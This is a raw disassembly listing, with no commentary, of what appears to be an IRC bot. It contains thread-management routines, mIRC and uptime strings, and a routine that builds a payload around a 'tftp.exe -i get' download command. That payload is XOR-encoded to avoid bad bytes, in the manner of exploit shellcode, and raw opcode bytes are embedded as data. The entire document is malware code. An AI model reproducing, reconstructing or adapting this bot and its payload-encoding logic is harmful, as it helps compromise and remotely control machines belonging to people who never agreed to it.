loc_40AD84:				; CODE XREF: ___:0040AD7Bj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431618
		jz	short loc_40AD97


loc_40AD92:				; CODE XREF: ___:0040AD52j
					; ___:0040AD62j
		mov	esi, offset dword_431614


loc_40AD97:				; CODE XREF: ___:0040AD32j
					; ___:0040AD39j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_43160C
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ADDB


loc_40ADB5:				; CODE XREF: ___:0040ADD9j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A8
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ADB5


loc_40ADDB:				; CODE XREF: ___:0040ADB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADE1	proc near		; CODE XREF: sub_40AE84+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 2690E78h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE30
		call	dword_4CBA30
		test	eax, eax
		mov	eax, offset off_43163C
		jnz	short loc_40AE19
		mov	eax, offset byte_43DBD8


loc_40AE19:				; CODE XREF: sub_40ADE1+31j
		push	eax
		push	esi
		push	offset dword_431634
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_40AE50
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: sub_40ADE1+22j
		call	dword_4CBA30
		test	eax, eax
		mov	eax, offset off_43163C
		jnz	short loc_40AE44
		mov	eax, offset byte_43DBD8


loc_40AE44:				; CODE XREF: sub_40ADE1+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40AE50:				; CODE XREF: sub_40ADE1+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE7F
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41CBC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 18h


loc_40AE7F:				; CODE XREF: sub_40ADE1+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE84	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D92C


loc_40AE90:				; CODE XREF: sub_40AE84+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AEAB
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41CA50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEB5
; ---------------------------------------------------------------------------


loc_40AEAB:				; CODE XREF: sub_40AE84+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEB5:				; CODE XREF: sub_40AE84+25j
		test	eax, eax
		jnz	short loc_40AEC7
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9B8
		jb	short loc_40AE90
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------


loc_40AEC7:				; CODE XREF: sub_40AE84+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D930[eax*4]
		pop	ecx


loc_40AED5:				; CODE XREF: sub_40AE84+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEE8
		push	[ebp+arg_0]
		call	sub_40ADE1
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEE8:				; CODE XREF: sub_40AE84+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43DBD8
		mov	dword ptr [ebp-0B8h], 94h
		nop
		call	near ptr 26D0501h
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF67
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF48
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF38
		mov	edi, offset dword_431630


loc_40AF38:				; CODE XREF: ___:0040AF31j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AFA3
		mov	edi, offset dword_43162C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF48:				; CODE XREF: ___:0040AF28j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF57
		mov	edi, offset dword_431628
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF57:				; CODE XREF: ___:0040AF4Ej
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF9E
		mov	edi, offset dword_431624
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF67:				; CODE XREF: ___:0040AF1Fj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF9E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF80
		mov	edi, offset dword_431620
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF80:				; CODE XREF: ___:0040AF77j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF90
		mov	edi, offset dword_43161C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: ___:0040AF87j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_431694
		jz	short loc_40AFA3


loc_40AF9E:				; CODE XREF: ___:0040AF5Ej
					; ___:0040AF6Ej
		mov	edi, offset dword_431690


loc_40AFA3:				; CODE XREF: ___:0040AF3Fj
					; ___:0040AF46j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4CB8DC
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC1
		mov	esi, offset dword_43168C
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: ___:0040AFB8j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFDF
		mov	esi, offset sub_431688
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: ___:0040AFD6j
		lea	eax, [ebp-0A4h]
		push	offset dword_431684
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFFD
		mov	esi, offset dword_431680
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: ___:0040AFF4j
		lea	eax, [ebp-0A4h]
		push	offset dword_43167C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B01B
		mov	esi, offset dword_431678
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40B01B:				; CODE XREF: ___:0040B012j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C2E0
		pop	ecx
		mov	esi, offset dword_431670
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03C
		mov	esi, offset off_43166C


loc_40B03C:				; CODE XREF: ___:0040AFBFj
					; ___:0040AFDDj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41ADD8
		pop	ecx
		push	eax
		call	sub_41CCE3
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B086
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	short loc_40B0AA
; ---------------------------------------------------------------------------


loc_40B086:				; CODE XREF: ___:0040B06Fj
		cmp	eax, 64h
		jge	short loc_40B098
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_42635C
		jmp	short loc_40B0A7
; ---------------------------------------------------------------------------


loc_40B098:				; CODE XREF: ___:0040B089j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360


loc_40B0A7:				; CODE XREF: ___:0040B096j
		add	esp, 0Ch


loc_40B0AA:				; CODE XREF: ___:0040B084j
		nop
		call	near ptr 2690E78h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429098, esi
		jle	short loc_40B115


loc_40B0F0:				; CODE XREF: ___:0040B113j
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A8
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40B0F0


loc_40B115:				; CODE XREF: ___:0040B0EEj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B11C	proc near		; CODE XREF: sub_40B13C+Ap
					; sub_40B214+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B9C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B13C	proc near		; CODE XREF: sub_40B22B+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B11C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B159
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B159:				; CODE XREF: sub_40B13C+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B9C0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B9C0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43172C, eax
		lea	eax, [edi+1]
		mov	dword_43174D, eax
		lea	eax, [edi+17h]
		mov	dword_431745, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316C8
		push	ebx
		mov	dword_43175B, eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431751
		push	esi
		call	sub_41CD20
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B214	proc near		; CODE XREF: sub_40B22B+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B11C
		push	eax
		call	sub_40B298
		add	esp, 0Ch
		retn
sub_40B214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B22B	proc near		; CODE XREF: sub_40DCF9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B214
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B24B
		cmp	eax, 0FFFFh
		jbe	short loc_40B24F


loc_40B24B:				; CODE XREF: sub_40B22B+17j
		xor	eax, eax
		jmp	short loc_40B294
; ---------------------------------------------------------------------------


loc_40B24F:				; CODE XREF: sub_40B22B+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B11C
		add	eax, 101h
		push	eax
		call	sub_41BEB5
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B11C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B13C
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B3
		push	esi
		mov	edi, eax
		call	sub_41BA91
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B294:				; CODE XREF: sub_40B22B+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B298	proc near		; CODE XREF: sub_40B214+Ep
					; sub_40B2B3+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B2A1
		inc	ecx


loc_40B2A1:				; CODE XREF: sub_40B298+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B3	proc near		; CODE XREF: sub_40B22B+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2D2


loc_40B2CF:				; CODE XREF: sub_40B2B3+8j
					; sub_40B2B3+Ej ...
		inc	[ebp+arg_C]


loc_40B2D2:				; CODE XREF: sub_40B2B3+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2F3
		cmp	al, 0Dh
		jz	short loc_40B2F3
		cmp	al, 5Ch
		jz	short loc_40B2F3
		test	al, al
		jnz	short loc_40B2FA


loc_40B2F3:				; CODE XREF: sub_40B2B3+32j
					; sub_40B2B3+36j ...
		add	[ebp+arg_C], 100h


loc_40B2FA:				; CODE XREF: sub_40B2B3+28j
					; sub_40B2B3+3Ej
		push	[ebp+arg_C]
		call	sub_40B298
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B312
		cmp	eax, 0FFFFh
		jbe	short loc_40B319


loc_40B312:				; CODE XREF: sub_40B2B3+56j
		xor	eax, eax
		jmp	loc_40B3B7
; ---------------------------------------------------------------------------


loc_40B319:				; CODE XREF: sub_40B2B3+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CBB68
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B349


loc_40B32D:				; CODE XREF: sub_40B2B3+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B340
		cmp	al, 0Ah
		jz	short loc_40B340
		cmp	al, 0Dh
		jz	short loc_40B340
		cmp	al, 5Ch
		jnz	short loc_40B344


loc_40B340:				; CODE XREF: sub_40B2B3+7Fj
					; sub_40B2B3+83j ...
		inc	bl
		xor	edx, edx


loc_40B344:				; CODE XREF: sub_40B2B3+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B32D


loc_40B349:				; CODE XREF: sub_40B2B3+78j
		cmp	ecx, esi
		mov	byte_4CBB68, bl
		ja	short loc_40B375
		push	15h
		push	offset loc_4316B0
		push	[ebp+arg_0]
		mov	byte_4316BD, cl
		mov	byte_4316C1, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B396
; ---------------------------------------------------------------------------


loc_40B375:				; CODE XREF: sub_40B2B3+9Ej
		push	17h
		push	offset loc_431698
		push	[ebp+arg_0]
		mov	word_4316A6, cx
		mov	byte_4316AB, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	17h


loc_40B396:				; CODE XREF: sub_40B2B3+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3B2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B3A4:				; CODE XREF: sub_40B2B3+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B3A4


loc_40B3B2:				; CODE XREF: sub_40B2B3+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3B7:				; CODE XREF: sub_40B2B3+61j
		pop	esi
		leave
		retn
sub_40B2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3BA	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E760


loc_40B3C2:				; CODE XREF: sub_40B3BA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3D6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB760
		jl	short loc_40B3C2
		jmp	short loc_40B421
; ---------------------------------------------------------------------------


loc_40B3D6:				; CODE XREF: sub_40B3BA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E760[esi]
		push	eax
		call	sub_41BFD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E960[esi], eax
		and	dword_43E964[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E968[esi], 0
		mov	dword_43E96C[esi], eax
		and	byte_43E978[esi], 0
		pop	esi


loc_40B421:				; CODE XREF: sub_40B3BA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3BA	endp

; ---------------------------------------------------------------------------
byte_40B425	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2946o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2D4B8BE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 43178Ch, 0FF0C75FFh, 0D2E80875h
		dd 83FFFFE3h, 0FF3314C4h, 43E760BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C54C68FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h,	0C68124C4h
		dd 234h, 60FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B4F5	proc near		; CODE XREF: sub_401ACD+79AAp
					; sub_40B583+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B57D
		cmp	esi, 400h
		jge	short loc_40B57D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E974[esi]
		lea	edi, dword_43E974[esi]
		call	near ptr 26A0000h
		nop
		cmp	[edi], ebx
		jz	short loc_40B52D
		push	1
		pop	ebp


loc_40B52D:				; CODE XREF: sub_40B4F5+33j
		mov	[edi], ebx
		lea	edi, dword_43E968[esi]
		mov	dword_43E960[esi], ebx
		mov	dword_43E964[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B54E
		push	eax
		call	sub_419F16
		pop	ecx


loc_40B54E:				; CODE XREF: sub_40B4F5+50j
		mov	[edi], ebx
		lea	edi, dword_43E96C[esi]
		mov	byte ptr dword_43E760[esi], bl
		mov	byte_43E978[esi], bl
		push	dword ptr [edi]
		call	dword_4CBABC
		lea	esi, dword_43E970[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CBABC
		mov	[esi], ebx
		pop	edi


loc_40B57D:				; CODE XREF: sub_40B4F5+Dj
					; sub_40B4F5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B583	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E760


loc_40B58F:				; CODE XREF: sub_40B583+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B5A0
		push	edi
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5A0
		inc	ebx


loc_40B5A0:				; CODE XREF: sub_40B583+Fj
					; sub_40B583+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB760
		jl	short loc_40B58F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B5	proc near		; CODE XREF: sub_401ACD+41B2p
					; sub_401ACD+4302p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E964


loc_40B5C9:				; CODE XREF: sub_40B5B5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5EB
		test	edi, edi
		jle	short loc_40B5DD
		cmp	[esi], edi
		jz	short loc_40B5DD
		cmp	ebx, edi
		jnz	short loc_40B5EB


loc_40B5DD:				; CODE XREF: sub_40B5B5+1Ej
					; sub_40B5B5+22j
		push	ebx
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5EB
		inc	[ebp+var_4]


loc_40B5EB:				; CODE XREF: sub_40B5B5+1Aj
					; sub_40B5B5+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB964
		jl	short loc_40B5C9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B602	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+95Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E960


loc_40B609:				; CODE XREF: sub_40B602+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B612
		inc	eax


loc_40B612:				; CODE XREF: sub_40B602+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB960
		jl	short loc_40B609
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B621	proc near		; CODE XREF: sub_401ACD+23D9p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E960


loc_40B62B:				; CODE XREF: sub_40B621+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B644
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB960
		jl	short loc_40B62B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B644:				; CODE XREF: sub_40B621+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B648	proc near		; CODE XREF: sub_401ACD+123Dp
					; sub_401ACD+125Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B661
		push	[ebp+arg_1C]
		call	sub_41C159
		pop	ecx


loc_40B661:				; CODE XREF: sub_40B648+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B68D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_40B6A7
; ---------------------------------------------------------------------------


loc_40B68D:				; CODE XREF: sub_40B648+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_40B6A7:				; CODE XREF: sub_40B648+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6C7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40B6C7:				; CODE XREF: sub_40B648+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		leave
		retn
sub_40B648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D6	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BD0Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E974[eax], ecx
		mov	dword_43E960[eax], ecx
		mov	dword_43E964[eax], ecx
		mov	dword_43E968[eax], ecx
		mov	dword_43E96C[eax], ecx
		mov	dword_43E970[eax], ecx
		mov	byte ptr dword_43E760[eax], cl
		mov	byte_43E978[eax], cl
		retn
sub_40B6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B713	proc near		; CODE XREF: sub_401ACD+7C2Bp
					; sub_40B841+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B71D:				; CODE XREF: sub_40B713+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B77D
		cmp	eax, 1
		jnz	short loc_40B77D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B77D
		cmp	cl, 2Ah
		jz	short loc_40B764
		cmp	cl, 3Fh
		jz	short loc_40B747
		cmp	cl, 5Bh
		jz	short loc_40B74C
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B747:				; CODE XREF: sub_40B713+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B74C:				; CODE XREF: sub_40B713+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
